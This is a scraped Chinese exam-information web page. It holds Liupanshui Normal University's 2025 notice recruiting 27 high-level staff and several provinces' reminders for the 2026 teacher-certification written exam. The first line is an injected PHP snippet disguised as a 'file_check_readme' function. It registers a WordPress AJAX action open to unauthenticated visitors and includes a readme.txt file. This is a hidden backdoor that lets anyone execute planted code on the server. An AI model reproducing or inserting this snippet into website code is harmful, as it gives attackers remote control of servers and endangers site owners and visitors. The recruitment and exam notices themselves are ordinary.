if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
贵州六盘水师范学院2025高层次人才引进27人公告-全国教师资格考试网

贵州六盘水师范学院2025高层次人才引进27人公告

根据《事业单位公开招聘人员暂行规定》(人事部令第6号)、《贵州省事业单位新增人员公开招聘暂行办法》(黔人发〔2006〕4号)和《中共中央组织部 人力资源和社会保障部关于进一步做好事业单位公开招聘工作的通知》(人社部发〔2024〕57号)等文件精神,结合实际,经贵州省教育厅、贵州省人力资源和社会保障厅同意,特制定本公告。

一、学校简介

六盘水师范学院是一所以师范为根、以工科为主的全日制普通本科院校,是贵州省向应用型转型发展试点院校,2016年通过教育部本科教学工作合格评估,2024年管理体制由“省市共建、以市为主”,调整为“省政府统筹协调管理、省教育厅主管”的“省管”体制。

学校坐落于享有“江南煤都”“中国凉都”之称的六盘水市,其办学历史源于1978年创办的贵阳师范学院六盘水专科班,1985年组建六盘水师范专科学校,1993年更名为六盘水师范高等专科学校,2006年与贵州大学联合举办贵州大学六盘水能源矿业学院,2009年升格为六盘水师范学院。

2013年获学士学位授予单位资格,2016年列为贵州省硕士学位授权立项建设单位,2017年加入全国应用技术大学(学院)联盟,同年开始与辽宁师范大学、贵州师范大学、大连大学等高校联合培养硕士研究生。

学校坚持党的全面领导,全面贯彻党的教育方针,深入落实全国教育大会精神,牢记为党育人、为国育才初心使命,落实立德树人根本任务,坚持“以本为本”,落实“四个回归”,大力弘扬“艰苦创业,自强不息”的办学精神,坚定走以质量提升为核心的内涵发展道路,围绕区域经济社会发展需求,做精师范、做强工科,着力构建教师教育、能源与环境、材料与化工、农业与生物等特色学科专业群,促进学科专业相互支撑、交叉融合、协调发展,着力培养基础扎实、能力过硬,德才兼备、又红又专的应用型高级专门人才。

二、引才原则

(一)坚持党管干部、党管人才的原则。

(二)坚持德才兼备、以德为先、五湖四海、任人唯贤的原则。

(三)坚持按需设岗、按岗引才、人岗相适、人事相宜的原则。

(四)坚持公开、平等、竞争、择优的原则。

三、引才数量

2025年引进各类人才共计27名,引才职位一经发布全年有效,岗位招聘到所需人才,该岗位自然取消,具体岗位详见《六盘水师范学院2025年高层次人才引进需求表》(附件1)。

四、引进人才基本条件

(一)拥护中华人民共和国宪法,拥护中国共产党领导,遵纪守法,具有良好的思想政治素质。

(二)自觉遵规守纪,诚实守信,品行端正,具有良好的职业道德和敬业精神。

(三)专业素养好,熟悉有关政策法规和行业发展情况,具有胜任应聘岗位需要的相关专业知识和工作能力。

(四)身体健康,符合应聘岗位要求的身体条件。

(五)博士人才原则上年龄不超过45周岁,紧缺专业可放宽到50周岁;(年龄计算截止日期为2025年12月31日)

(六)符合学校相关业绩成果要求;

(七)尚在试用期或服务期内的省内事业单位在编工作人员,不列入本次引才对象范围。凡已通过我省急需紧缺人才“绿色通道”政策引进到各类事业单位的在编工作人员,不得重复享受“绿色通道”引才政策支持。

五、人才类型需求

(一)拔尖人才

申报人年龄一般不超过50周岁,在自然科学领域和人文社会科学领域崭露头角,取得突出学术成果,具有成为该领域领军人才和学科带头人的发展潜力,符合以下条件之一:

1.近10年内曾入选以下人才计划(项目)

(1)国家“高层次人才特殊支持计划”青年拔尖人才。

(2)国家“高层次人才引进计划”青年人才。

(3)长江学者奖励计划“青年学者”项目获得者。

(4)中国科学院率先行动“百人计划”(B类)终期评估获得“优秀”者。

(5)国家青年文化英才(理论类)入选者,含原中宣部宣传思想文化青年英才(理论类)入选者。

2.近10年内曾担任以下项目(课题)负责人或职务

(1)国家优秀青年科学基金、国家自然科学基金海外项目(海外优青项目)、国家自然科学基金重点项目、国家社会科学基金重点项目(2项)、贵州省财政拨款经费达500万元及以上“揭榜挂帅”项目(课题)负责人。

(2)教育部学科评估B类学科带头人或“创新团队发展计划”带头人。

(3)国(境)外世界排名101-200大学教授〔国际知名三大世界大学排名:夸夸雷利·西蒙兹公司世界大学排名(QS排名)、上海交通大学世界一流大学研究中心世界大学排名(ARWU排名)、泰晤士高等教育世界大学排名(THE排名)〕

3.近10年内曾获得以下荣誉、奖项、成果:

(1)中国青年科学家、中国青年女科学家。

(2)省(部)级科技奖一等奖及以上(排名第1)获得者,国家级教学成果奖二等奖(排名第1)获得者,高等学校科学研究优秀成果奖(人文社会科学)一等奖(排名第2)、二等奖(排名第1)获得者,获得“全国教材建设奖”高等教育类一等奖副主编或二等奖主编。

(3)作为第二著作权人出版的著作入选《国家哲学社会科学成果文库》。

(二)优秀青年人才

申报人年龄一般不超过40周岁,在自然科学领域和人文社会科学领域创新业绩突出,具有成为该领域学术技术拔尖人才的发展潜力,符合以下条件:

1.自然科学领域人才近5年来取得以下成果之二:

(1)独立或作为第一作者发表科研论文被SCI一区期刊(中科院分区)收录2篇。

(2)主持国家自然科学基金项目或省级重点项目1项。

(3)作为第一发明人获省级专利奖银奖以上1项;或作为第一权利人获得国内发明专利或国际发明专利或集成电路布图设计专有权2件以上,并已转让或许可或作价投资获利100万元以上。

(4)作为主要负责人(排名第1)完成省级标准化委员会、省行业主管部门立项的省级标准或省级行业标准1项;或主持完成国家重点型号二级项目的研究、设计工作1项,并通过项目主管部门验收;或主持培育省级主要农作物新品种1个或非主要农作物新品种2个。

2.人文社会科学领域人才近5年来取得以下成果之二:

(1)以独立作者或第一作者在《人民日报》《光明日报》《经济日报》发表理论文章2篇。

(2)以独立作者或第一作者发表的论文被中国社会科学评价研究院公布的社会科学期刊目录的权威期刊、SCI一区期刊(中科院分区)、SSCI期刊或CSSCI期刊收录2篇。

(3)主持国家社会科学基金项目2项;或主持省部级哲学社会科学规划项目4项。

(三)优秀人才

具有博士研究生学历和博士学位,有很好的发展潜力,能胜任教学科研工作,能为学科建设做出较大贡献

六、高层次人才引进待遇

(一)高层次人才安家费及科研启动费 

按照学校当年政策执行。

(二)薪资福利待遇

1.纳入贵州省属事业单位正式编制;

2.引进后前两年内可通过“绿色通道”参加职称评审申报,博士可享受学校聘副高职称(专业技术七级岗位)工资待遇(三年内须通过评聘取得相应资格,如未取得资格则按专业技术十级岗位聘用);

3.其子女根据本人意愿安排到市中心城区入学入园;

4.提供医疗“绿色通道”服务,一年一次健康体检。

七、引进程序和注意事项

(一)发布公告

在贵州省人力资源和社会保障厅官网(http://rst.guizhou.gov.cn)、六盘水师范学院官网(https://www.lpssy.edu.cn)发布人才引进公告。

(二)报名

应聘人员于4月10日至4月27日下午6点前登录贵州人才博览会官网注册,在贵州人才博览会官网向六盘水师范学院投递求职简历及相关报名材料。

4月27日下午6点以后,将报名材料以“岗位名称+姓名+毕业学校+专业”命名通过邮件形式发送至六盘水师范学院指定邮箱:lpssfxyrsc@126.com。

报名材料包括《六盘水师范学院2025年高层次人才引进报名信息表》(附件1)、毕业证书、学位证书、获奖证书以及可以支撑其学术与科研经历的相关材料。

特别提示:(1)报名应聘人员的专业名称必须与毕业证和学位证完全一致,且与公布专业一致。

(2)留学归国、高校自设学科等应聘人员所学学科专业与资格条件要求的学科专业相近但不在选定参考目录,且所学专业课程、研究方向与岗位所需专业相近率达到70%的,可纳入报考范围;岗位专业要求为二级学科的,对属于该二级学科专业研究方向且课程相同率达到70%以上的一级学科,可纳入报考范围。

由报考人员本人如实提供比对专业名称及课程的有效证明材料,我单位将根据报考人员提供的证明材料组织专家结合岗位专业要求开展论证。不如实提供有效证明材料的责任由报考人员本人承担。我单位将根据专家论证结果进行资格复审,若专家论证结果为达不到本条款要求的,不得进入下一环节。

(三)资格审查

学校对应聘人员的学历、学位及科研材料进行审查,审查合格在六盘水师范学院官网公示,并进入考核(面试)环节。

(四)考核(面试)

根据“成熟一批、面试一批”的原则,经审查通过的应聘人员,学校将分期分批组织考核(面试),考核(面试)以谈话、答辩、试讲、心理测评等形式进行综合测评,对其专业水平、教学能力以及思想政治、意识形态等方面情况形成综合评价意见,考核(面试)成绩在六盘水师范学院官网公示。

面试成绩须达到最低合格分数线70分方能进入到下一环节。

(五)体检

按引才计划与考核(面试)成绩1:1的比例确定进入体检环节人员。应聘人员到县级及以上医院进行参照公务员标准体检。体检费用由应聘人员自理,体检标准参照贵州省公务员录用体检标准执行。

(六)考察

考察参照《公务员录用考察办法(试行)》(中组发〔2021〕11号)、贵州省有关规定、《六盘水师范学院进人考察管理办法》要求,采取查阅个人档案、实地考察、与被考察对象交流等方式进行。主要考察拟引进对象在政治思想、道德品质、能力素质、遵纪守法、工作作风、廉洁自律等方面的情况以及学习工作期间的表现,同时核实考察对象是否符合规定的资格条件,提供的报考信息和相关材料是否真实、准确等。拟聘用人员须根据考察组的工作要求,提供综合考察所需材料。

在考察中发现下列情况之一者,考察不合格,取消其进入下一环节的资格:

1.不能坚持党的基本路线,在重大政治问题上不能与党中央保持一致的人员;

2.现役军人;

3.曾因犯罪受过刑事处罚或受过劳动教养的人员;

4.被开除公职的人员;

5.曾因贪污、行贿受贿、泄露国家机密等原因受到过党纪、政纪处分或近三年在机关、事业单位年度考核中曾被确定为“不称职”“不合格”的人员;

6.未能在考察环节提交招聘岗位所需资格条件的相关证明材料的人员;

7.不符合招聘岗位所需资格或条件的人员;

8.在事业单位公开招聘中被认定有舞弊等严重违反聘用纪律行为的人员,以及在各级各类事业单位公开招聘中因违反《事业单位公开招聘违纪违规行为处理规定》被记入事业单位公开招聘应聘人员诚信档案的人员;

9.人民法院认定为失信被执行人的或经有关政府行政主管部门认定存在严重违法失信行为的人员;

10.应聘从事与未成年人密切接触行业的事业单位工作岗位的,存在实施虐待,故意伤害,强奸,猥亵,组织、强迫、引诱、容留、介绍卖淫等严重侵害未成年人人身权利的相关违法犯罪记录的人员;

11.有法律法规规定不得聘用的人员。

 (七)拟聘公示

经考察合格的应聘人员,确定为拟聘用人员,学校按照有关规定在贵州省人力资源和社会保障厅官网、六盘水师范学院官网进行公示。公示期间查实有严重问题影响聘用的,取消聘用资格,一时难以查实的,暂缓聘用,待查实并做出结论后再决定是否聘用。

(八)聘用备案

经考察、公示不影响聘用的,按程序办理聘用备案。

(九)正式聘用后,被聘用人员应按规定时间到六盘水师范学院报到,并与学校签订《贵州省事业单位人员聘用合同书》《六盘水师范学院高层次人才服务协议书》,拒不报到的,取消聘用资格。

八、组织领导

(一)此次引才活动由贵州省教育厅、贵州省人力资源社会保障厅牵头,六盘水师范学院统筹组织实施。

(二)本次公开招聘工作接受六盘水师范学院纪检监察部门的监督;应聘人员应自觉遵守回避制度;相关工作人员严格落实公开招聘工作保密、回避等纪律要求,确保招聘工作公正、公平。如出现违纪违规情况,一经发现,将严肃处理。

(三)未尽事宜由六盘水师范学院商贵州省教育厅、贵州省人力资源社会保障厅研究确定。

(四)联系电话:0858-8602899;联系人:蒋老师;

监督电话:0858-8601346

联系时间:工作日上午8:30-12:00,下午2:30-5:30;

(五)本方案由六盘水师范学院负责解释。

 

附件:1:六盘水师范学院2025年高层次人才引进需求表.xlsx

    2:六盘水师范学院2025年高层次人才引进报名信息表.docx

 

 六盘水师范学院

2025年4月9日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部